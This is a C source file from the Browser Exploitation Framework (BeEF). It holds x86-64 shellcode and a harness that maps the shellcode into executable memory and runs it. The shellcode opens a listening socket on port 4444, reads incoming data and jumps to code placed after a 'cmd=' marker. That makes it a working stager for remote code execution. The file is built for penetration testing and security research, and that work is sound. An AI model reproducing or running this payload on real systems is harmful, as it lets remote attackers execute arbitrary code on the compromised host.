/**
 Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
 Browser Exploitation Framework (BeEF) - https://beefproject.com
 See the file 'doc/COPYING' for copying permission
 
 The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
 #gcc -fno-stack-protector -z execstack -o socket64 socket64.c
**/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "\xfc\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x89\xc3\x6a\x01\x49\x89\xe2\x6a\x08\x41\x58\x6a\x02\x5a\x6a\x01\x5e\x48\x89\xdf\x6a\x36\x58\x0f\x05\x48\x31\xc0\x6a\x10\x5a\x50\x50\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x48\x89\xdf\x6a\x31\x58\x0f\x05\x48\x31\xf6\x48\x89\xdf\x6a\x32\x58\x0f\x05\x48\x31\xd2\x48\x31\xf6\x48\x89\xdf\x6a\x2b\x58\x0f\x05\x49\x89\xc7\x48\x89\xdf\x6a\x03\x58\x0f\x05\x48\x31\xff\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x6a\x22\x41\x5a\x57\x57\x41\x59\x41\x58\x6a\x09\x58\x0f\x05\x49\x89\xc6\x4c\x89\xff\x4c\x89\xf6\x66\xba\x00\x10\x6a\x00\x58\x0f\x05\x4c\x89\xff\x6a\x03\x58\x0f\x05\x4c\x89\xf6\x81\x3e\x63\x6d\x64\x3d\x74\x05\x48\xff\xc6\xeb\xf3\x6a\x04\x58\x48\x01\xc6\xff\xe6";

int main(int argc, char **argv) {
   char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
   if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
   memcpy(ptr, shellcode, sizeof(shellcode));
   sc = (int(*)())ptr;
   (void)((void(*)())ptr)();
   printf("\n");
   return 0;
}
